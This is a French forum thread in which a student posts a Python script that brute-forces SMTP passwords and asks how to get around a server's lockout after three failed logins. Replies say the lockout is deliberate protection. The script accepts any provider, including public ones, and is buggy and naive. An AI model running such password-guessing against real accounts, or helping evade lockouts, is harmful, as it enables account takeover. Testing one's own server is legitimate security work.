Annonce

Réduire
Aucune annonce.

Bruteforce SMTP

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Bruteforce SMTP

    Bonjour à tous, je poste ce message car j'ai un petit souci :
    Dans le cadre de mes études je suis en train d'installer un serveur de messagerie (Postfix+Dovecot) avec identification par LDAP. Dans un souci de sécurité, mon professeur m'a demandé de sécuriser le serveur. J'ai donc mis les choses habituelles (pare-feu, AV, ...) mais il aimerait que je lui prouve que personne ne peut trouver les mots de passe avec une attaque bruteforce.

    J'ai donc fait un script python sur la chose pour tester. Malheureusement, au bout de trois essais, le serveur SMTP rejette ma connexion. Y a-t-il un moyen d’empêcher ce rejet ? J'ai essayé avec le module time de faire des requêtes avec un délai aléatoire (en ms) mais cela ne marche pas, j'ai donc enlevé la fonctionnalité du script.

    Voici le script en question :

    Code:
    # -*- coding: cp1252 -*-
    # ###########################################
    # BRUTEFORCE DE MOTS DE PASSE SERVEURS SMTP #
    # ###########################################
    
    # Importation des modules necessaires
    import smtplib, time
    from itertools import permutations
    # definition de plusieurs variables et liste de caracteres
    ChoixListe = int()
    minuscules = 'abcdefghijklmnopqrstuvwxyz'
    MAJUSCULES = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    numeros = '0123456789'
    special = '&é"-è_çà$ù,;:!'
    Liste = ''
    n = 1
    # Presentation du menu
    print('BRUTEFORCE DE MOTS DE PASSE SERVEURS SMTP\n\nVeuillez choisir la liste de mot de passe à générer\n1- minuscules uniquement')
    print('2- majuscules et minuscules\n3- minuscules et chiffres\n4- minuscules & majuscules & chiffres\n5- tout type de caractères')
    # On demande le choix des caracteres contenus dans le mot de passe
    while not 1<=ChoixListe<=5 :
        try :
            ChoixListe = int(input('=> '))
            a = 0
        except :
            # En cas d'erreur on recommence à demander
            print('Veuillez choisir un NUMERO entre 1 et 5')
    
    # Creation de la liste personnalisee
    if ChoixListe == 1 :
        Liste = minuscules
    elif ChoixListe == 2 :
        Liste = minuscules + MAJUSCULES
    elif ChoixListe == 3 :
        Liste = numeros + minuscules
    elif ChoixListe == 4 :
        Liste = minuscules + numeros + MAJUSCULES
    elif ChoixListe == 5 :
        Liste = minuscules + numeros + MAJUSCULES + special
    # On demande ou se trouve la boite mail
    fournisseur = raw_input('Chez quel fournisseur se trouve votre boite mail ?\nEx : example.local\n => ')
    if fournisseur == 'hotmail.fr':
        fournisseur == 'live.com'
    NomMail = raw_input('Nom du mail : ')
    try :
        # tentative de connexion
        Connexion = smtplib.SMTP('smtp.'+str(fournisseur), 587)
    except :
        try :
            Connexion = smtplib.SMTP('smtp.'+str(fournisseur), 25)
        except :
            # Si la connexion ne marche pas on affiche un message d'erreur
            print('Erreur lors de la connexion au serveur')
        else :
            print('La connexion est effectuée sur le port 25')
    else :
        print('La connexion est effectuée sur le port 587')
    time.sleep(2)
    
    while True :
        # boucle infinie permettant de tester les mots de passe
        # jusqu'à trouver le bon
        for i in permutations(Liste, n) :
            # conversion du tuple en str
            j = ''.join(i)
            try:
                # tentative de login
                Connexion.login(NomMail, j)
            except :
                # si cela ne marche pas on recommence ...
                print(j)
                pass
            else :
                # si cela marche, on stocke le mot de passe et on sort de la boucle
                MotPasse = i
                break
        # sinon on incrémente n
        n += 1
    
    # Et si jamais on sort de la boucle :
    # AFFICHAGE DU MOT DE PASSE : Faille
    print('Nom de compte : '+str(NomMail)+' '+str(fournisseur))
    print('Mot de passe : '+str(MotPasse))
    PS : je sais, le code aurait pu être mieux optimisé : j'y travaille encore.

    Merci d'avance de vos réponses

  • #2
    Je crois que tu ne peux pas, c'est une sécurité pour éviter le bruteforce justement...

    Commentaire


    • #3
      Ah mais c'est parfait alors !
      Du coup ce script m'aura exercé un peu

      Commentaire


      • #4
        Qui puis est si c'est gmail

        Commentaire


        • #5
          Il nous voit venir le coquinou gmail ^^ Je pensais au départ qu'il fallait le paramétrer sur le serveur SMTP mais c'est nickel s'il le fait tout seul

          Commentaire


          • #6
            Voici une documentation intéressante

            Commentaire

            Chargement...
            X